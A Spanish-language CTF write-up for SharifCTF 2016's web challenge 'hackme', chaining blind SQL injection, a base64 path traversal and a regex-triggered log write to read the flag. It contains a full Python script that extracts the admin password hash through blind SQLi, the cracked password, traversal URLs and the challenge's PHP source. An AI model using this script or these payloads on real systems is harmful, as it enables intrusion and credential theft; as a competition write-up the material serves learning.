Buenas!


Os traigo el writeup del otro reto del finde. Parece ser que el CTF de repente pasó a valer de 0.0 a 25.0 puntos de peso sin previo aviso, por lo que nos descolgamos un poco del ranking. A partir de ahora tendremos que jugar siempre por si acaso.. -_-


Sin más, "hackme", reto web de 400 puntos en el que había que encadenar varias vulnerabilidades.




Antes de nada, nos dan el link a una web donde solo se ve un login. Después de unas cuantas pruebas compruebo que el campo de Username es vulnerable a blind SQLi.

Solo hay un usuario ("admin") y su contraseña mide 32 caracteres de longitud, por lo que muy probablemente será un md5. Para dumpearlo, hice el siguiente script:


#!/usr/bin/python
#
# Web 400 blind sqli - SharifCTF 2016
# by xassiz
#

import requests, re

url = 'http://ctf.sharif.edu:35455/chal/hackme/aecca2c3fb62d68b/login.php'


def getCSRF():
    global url
    
    s = requests.Session()
    source = s.get(url).text
    
    token = re.search("[a-f0-9]{32}", source).group(0)
    
    return s, token


def inject(query, verbose=False):
    global url
    
    payload = "' or (%s) -- -" % query
    
    s, token = getCSRF() 
    d = dict(username=payload, password='', Login='Login', user_token=token)
    result = s.post(url, data=d)
    
    if verbose:
        print "\n[?] %s" % payload
    
    return (not 'incorrect' in result.text)
    

if __name__ == '__main__':
    
    result = ''
    query = "(select mid(password, %d, 1) from user)='%c'"
    
    for i in range(1, 32+1):        
        for x in 'abcdef0123456789':  # hex alphabet
            if inject(query % (i, x)):
                print "\n[%d] New char found! '%c'" % (i, x)
                result += x
                break
    
    print "\n\nPassword is: %s" % result
Password is: 26a340b11385ebc2db3b462ec2fdfda4

Lo metemos en crackstation.net y nos dice que el hash es de => "catchme8".


Una vez loggeados, vemos un uploader de CVs (PDF), una herramienta para hacer PING y un link "Help" que parece roto, con una URL sospechosa:

http://ctf.sharif.edu:35455/chal/hackme/aecca2c3fb62d68b/file.php?page=aGVscC5wZGY

Resulta que base64_decode("aGVscC5wZGY") == "help.p", por lo que completando el padding salen los dos caracteres que faltan ("aGVscC5wZGY=") y el archivo de ayuda se descarga.


Pruebo a bajar "file.php" no funciona, pero pruebo "../file.php" y voilà:

view-source:http://ctf.sharif.edu:35455/chal/hackme/aecca2c3fb62d68b/file.php?page=Li4vZmlsZS5waHA=

<?php
    if (extract_teamname_from_cookie("hackme") === false)
        exit;

define('SHPA_WEB_PAGE_TO_ROOT', '');
require_once SHPA_WEB_PAGE_TO_ROOT . 'function.php';

shpaEchoHeader();
shpaCheckAuth();
// The page we wish to display
$file = $_GET[ 'page' ];

$attachment_location = $_SERVER["DOCUMENT_ROOT"] . "/hack.me/" . base64_decode($file);
//die($attachment_location);
if (file_exists($attachment_location)) {

    if (strpos(realpath($attachment_location), "/var/www/") !== 0)
	die();

    header($_SERVER["SERVER_PROTOCOL"] . " 200 OK");
    header("Cache-Control: public"); // needed for i.e.

    header("Content-Transfer-Encoding: Binary");
    header("Content-Length:".filesize($attachment_location));
    header("Content-Disposition: attachment; filename=file.pdf");
    header("Content-Type: application/pdf");

	$data = file_get_contents($attachment_location);
	$data = sharifctf_internal_put_it($data, "hackme");
	echo $data;
    die();
} else {
    die("Error: File not found.");
}
?>

A partir de aquí podemos ver el resto de los archivos: index.php y ping.php.

Empiezo por ping.php, ya que es habitual encontrar command execution en estas herramientas. Después de echarles un ojo, parece que es bastante robusto, hace un explode con "." y comprueba que hay 4 trozos y los 4 son numericos. Solo si todo eso se cumple llama a shell_exec().


<?php
...
if( isset( $_POST[ 'Ping' ]  ) ) {
    shpaCheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $target = $_REQUEST[ 'IP' ];
    $target = stripslashes( $target );

    // Split the IP into 4 octects
    $octet = explode( ".", $target );

    // Check IF each octet is an integer
    if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
        // If all 4 octets are int's put the IP back together.
        $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }

        // Feedback for the end user
        shpaMessagePush("<pre>{$cmd}</pre>");
    }
    else {
        // Ops. Let the user name theres a mistake
        shpaMessagePush("<pre>ERROR: You have entered an invalid IP.</pre>");
    }
}
...
?>

Así que la chicha estaría en index.php que tiene el uploader:


<?php
...
if (isset($_POST['Upload'])) {
    global $mysqli;
    shpaCheckToken($_REQUEST['user_token'], $_SESSION['session_token'], 'login.php');

    $fileContents = $_FILES['cvfile']['type'];
    $fileName = $_FILES['cvfile']['name'];


    //<svg onload=alert(1)>
    shpaDatabaseConnect();
    $user = $_POST['first'];
    $userget = $_GET["first"];
    $user = stripslashes($user);

    if (!is_null($user) && strlen($user) > 1 && $fileContents=="application/pdf") {
        if(!is_null($userget) && strlen($userget) > 1){
            $isAttack = preg_match('/<(?:\w+)\W+?[\w]/', $userget);
            $usertrim = trim(preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $userget));
            $user=$userget;
            if($isAttack && $usertrim==$userget){
                $iserror = true;
                $classname = "danger";
                shpaMessagePush("error: saved in sensitive_log_881027.txt");
            }
        }
        else{
            $iserror = false;
            $classname = "info";
            shpaMessagePush("Done");
        }

    } else {
        $iserror = true;
        $classname = "danger";
        shpaMessagePush("please fill First Name and Attach valid Cv file(pdf)!!!");
    }
}
...
?>

El código no tiene mucho sentido (el $_GET['first'] no viene a nada), pero llama la atencion la linea del sensitive_log_881027.txt..


Lo único que hay que hacer es provocar que se ejecute ese if, para ello hay que hacer que la regexp matchee. Una vez el archivo creado, si intentamos acceder a él nos tira Forbidden, asi que usamos el bug anterior para leerlo:


view-source:http://ctf.sharif.edu:35455/chal/hackme/aecca2c3fb62d68b/file.php?page=Li4vc2Vuc2l0aXZlX2xvZ184ODEwMjcudHh0
    
SharifCTF{dd9879e2c4cbf0ecf33c35ec55a4e033}


Saludos!

xassiz